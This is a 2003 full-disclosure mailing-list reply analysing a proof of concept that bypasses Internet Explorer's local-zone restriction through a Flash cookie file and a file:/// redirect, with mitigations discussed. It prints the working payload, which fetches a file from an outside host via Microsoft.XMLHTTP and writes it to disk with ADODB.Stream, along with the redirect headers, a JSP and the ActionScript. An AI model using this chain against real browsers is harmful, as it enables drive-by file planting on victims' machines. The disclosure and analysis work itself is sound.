Date: Sat, 25 Oct 2003 20:17:28 +0200
From: jelmer <jkuperus@...net.nl>
To: Thor Larholm <thor@...x.com>, Mindwarper * <mindwarper@...uxmail.org>,
   bugtraq@...urityfocus.com
Cc: full-disclosure@...ts.netsys.com
Subject: Re: RE: Internet Explorer and Opera local zone
 restriction bypass


I allready commented to bugtraq about this issue, I attached this post to
the bottom
I also wrote up some comments, because you seem to be way off


----- Original Message ----- 
From: "Thor Larholm" <thor@...x.com>
To: "Mindwarper *" <mindwarper@...uxmail.org>; <bugtraq@...urityfocus.com>
Sent: Saturday, October 25, 2003 6:54 AM
Subject: [Full-Disclosure] RE: Internet Explorer and Opera local zone
restriction bypass


> There was not a lot of details in your post, so I will try to verify and
clarify your findings. First things first, this is not a problem with
Microsofts Internet Explorer, but with Macromedia and their Flash player.
>
> I could reproduce this issue successfully with a fresh install of the
latest Flash player, version 6.0.65.0, on fully patched versions of both
IE6SP1 and Windows XP Pro.
>
> There are two completely new issues at hand here.
>
> The first issue is that Macromedia Flash allows you to store arbitrary
content in a known location, that is %APPDATA%\Macromedia\Flash
Player\YOURDOMAINNAME.TLD\YOURDOMAINNAME.sol. All flash cookies (which is
what you set in your example, not browser cookies) from YOURDOMAINNAME.TLD
are stored in this file.

Its hardly a known location as you need to know the username in order to
"exploit" it, making widescale exploitation highly unlikely

>
> The issue is caused by Macromedias decision to store the contents of your
Flash cookie in plaintext in this .SOL file. When IE later reads the file
the "magic filetype" feature of Explorer reads the first 256 bytes, finds
HTML content and determines to render the file as HTML since the target
application is the browser, including your scripting.

anyway flash cookies are not plaintext,  they are binary files, he just
happens to store enough text content in it, to trick IE in rendering it

>
> Being able to store arbitrary content in a known location is vital to any
of the current range of IE exploits.
>
> Flash itself is a binary format, so this complete issue can easily be
fixed by Macromedia by applying the same level of binary formatting to its
Flash cookie contents, to provide slight obfuscation of the contents of
Flash cookies when storing them on disk so Explorer does not misread its
datatype.

The proper (tm) solution would be to use a random directory name to store
cookies in, like with the temporary internet files folder

>
> End-users can protect themselves against this exploit by changing how much
data Flash applications are allowed to store on disk by going to
http://www.macromedia.com/support/flashplayer/help/settings/global_storage.html
and moving the slider all the way down, equivelant to checking the "Never
Ask Again" checkbox on the page. When an updated version of the Flash player
that fixes this is available, it is equally easy to change the setting back.
>
> System administrators can edit the file %APPDATA%\Macromedia\Flash
Player\maromedia.com\support\sys\settings.sol and change the bytes at
positions c7 and c8 to contain BF and F0, respectively (ASCII ¿ and ð), to
restrict data storage for Flash applications as an end-user would above. If
you want to restore the file to default settings (for storing 100KB data)
change the bytes back to 40 and 59, respectively (ASCII @ and Y).
>
> This is also why several people have said they could not reproduce the
issue. They were either not logged in with the Administrator account, which
your POC required, or they did not have the Macromedia Flash player
installed.
>
> A similar issue was found way back with ID3 tags in Winamp and RealPlayer
media files, and has been found on several occasions where a third-party
non-Microsoft application allows you to store arbitrary content in a known
location.
>
>
> The second issue is that IE lets you redirect to local files. This was
restricted in IE6 SP1. While going over the source code in your POC, we
discovered that it inadvertently redirects to a local file, despite the
apparent restriction.
>
> When IE encounters a redirect such as the following
>
> Content-Location: file://c:/somefile.html
>
> it will disallow the action and not follow the redirect. However, your POC
has one important alteration, which is the following
>
> Content-Location: file:///c:/somefile.html
>

It does ?, how did you reach that conclusion it doesn't even touch the
Content-Location header

Second it doesn't work here nor at the 3 people I asked to test for me, It
only works when you press refresh.
so userinteraction is required, are you getting different results on a fully
patched IE6 ?


> Did you notice that slight difference? Adding another slash to the URL
circumvents the initial restriction, and when IE finally decides to load the
URL in another part of its code it removes any excess slashes and properly
loads file://c:/somefile.html
>
> The restriction imposed by IE6 SP1 is imposed on all local protocols, such
as file:// and res://, and this new way to circumvent it equally applies to
all local protocols. This means that you don't have to know the location of
a specific file, but instead can open a ressource file available on all
systems, such as
>
> Content-Location: res:///browselc.dll/mb404.htm
>
> Of course, since you could not inject any code in the ressource file you
will now have to use another cross-domain scripting vulnerability in place
of the Macromedia Flash vulnerability you identified in the first issue. On
the positive side, it also means that you no longer have to guess the users
Windows Logon name.
>
>
> In summary, when Macromedia changes their Flash player to no longer store
Flash cookies in plaintext in a known location, this will no longer be an
issue. All of the currently unpatched cross-domain scripting vulnerabilities
are having patches produced, and since they have no easy POC exploits I
doubt we will see any malicious use of the local file redirection variation
you found.
>
>
>
> Regards
> Thor Larholm
> PivX Solutions, LLC - Senior Security Researcher
> http://pivx.com/larholm/ - Get our research, join our mailinglist
>





here's what I send to bugtraq

----------------------------------------------------------------------------
----------

what this does is have a swf file generate a "flash cookie" or .sol file
which gets stored to a pseudo known location
(you need to know the logged in username)

C:\Documents and Settings\Jelmer\Application Data\Macromedia\Flash
Player\mlsecurity.com\mlsecurity.sol

in this cookie we find

<html><script>var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET",
"http://mlsecurity.com/random/ie.txt",0); x.Send();var s = new
ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\mlsecurity.txt",2);</script></html>

which is the unpatched ADODB.Stream issue so what he's trying to do is get
this to run from this sol file
by getting internet explorer to render it as an html file in an iframe

he tries to acomplish this by setting the response code to 302 (MOVED
TEMPORARILY) and making the location header in the reply point to a the
locally stored cookie
like this :

HTTP/1.1 302 Found
Date: Fri, 24 Oct 2003 23:32:13 GMT
Server: Apache/2.0.46 (Unix)
Accept-Ranges: bytes
Location: file:///C:/Documents and Settings/jelmer/Application
Data/Macromedia/Flash Player/mlsecurity.com/mlsecurity.sol
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-1

the following jsp duplicates the behaviour

--snip--

<%
    response.setStatus(HttpServletResponse.SC_MOVED_TEMPORARILY);
    response.setHeader("Location","file:///C:/Documents and
Settings/jelmer/Application Data/Macromedia/Flash
Player/mlsecurity.com/mlsecurity.sol");
%>

--snip--

then he uses a dynamic iframe to load this page rather than a static one, eg
he uses

document.write('<iframe src="test.jsp"></iframe>');

rather than

<iframe src="test.jsp"></iframe>

using the static version has no effect


now thats how it works, now about *if* it works. , well when I initially
tried it, it did absolutely nothing for me
(fully patched IE6) yes it showed the location in the IFRAME as being local
in de frame properties, but it didn't
render the contents.

then I cleared the cache closed IE and all of the sudden it was kind of
working, in that it renders the local
file on pressing the refresh button.

When testing from the local filesystem, calling
window.frames[0].location.reload() also did
the trick, thus "automating" the attack,
You cant use this from the internet though because of cross domain policies,
although you could
most likely bypass this by using one of liu die yu's unpatched
vulnerabilities
All in all its still a bit rough and probably needs some work at least from
where I am sitting





for those curious as to what is in the swf , here's the  actionscript code


function saveobject(cookiename)
{
    var Daten_array = new Array("Sven", "kelor", "Tschdaeff", "Madokan",
"Ming", "Coolflash");
    var Datum = new Date();
    var Satz_str = _root.teststr_txt.text;
    _root.createEmptyMovieClip("Test_mc", 0);
    meinCook_so = SharedObject.getLocal(cookiename, "/");
    meinCook_so.data.my_String = Satz_str;
    meinCook_so.data.my_Array = Daten_array;
    meinCook_so.data.my_Date = Datum;
    meinCook_so.data.my_MovieClip = Test_mc;
    RESULTS = meinCook_so.flush();
    if (RESULTS == true)
    {
        _root.message_txt.text = "Eingabe Erfolgreich!";
    }
}

function readobject(cookiename)
{
    leseCook_so = SharedObject.getLocal(cookiename, "/");
    delete("meinCook_so");
    _root.read_txt.htmlText = "<font color=\"#0000FF\">my_String :</font> "
+ leseCook_so.data.my_String + "\n";
    _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_Array :</font> " + leseCook_so.data.my_Array + "\n");
    _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_Date :</font> " + leseCook_so.data.my_Date + "\n");
    _root.read_txt.htmlText = _root.read_txt.htmlText + ("<font
color=\"#0000FF\">my_MovieClip :</font> " + leseCook_so.data.my_MovieClip +
"\n");
}

function deleteShareds(cookiename)
{
    trace(cookiename);
    delCook_so = SharedObject.getLocal(cookiename, "/");
    delete("leseCook_so");
    var del_array = new Array("my_String", "my_Array", "my_Date",
"my_MovieClip");
    var i = 0;
    delete(del_array[i]);
    i++;
    delete("delCook_so");
    _root.del_txt.htmlText = "<font color=\"#0000FF\">Objekt :" +
delCook_so;
    _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_String gelצscht  :</font> " +
delCook_so.data.my_String + "\n");
    _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_Array gelצscht  :</font> " + delCook_so.data.my_Array
+ "\n");
    _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_Date gelצscht  :</font> " + delCook_so.data.my_Date +
"\n");
    _root.del_txt.htmlText = _root.del_txt.htmlText + ("<font
color=\"#0000FF\">my_MovieClip gelצscht  :</font> " +
delCook_so.data.my_MovieClip + "\n");
}

system.useCodepage = true;

savedname = this.cookie_txt.text;
_root.saveobject(this.cookie_txt.text);
stop();







_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Powered by blists - more mailing lists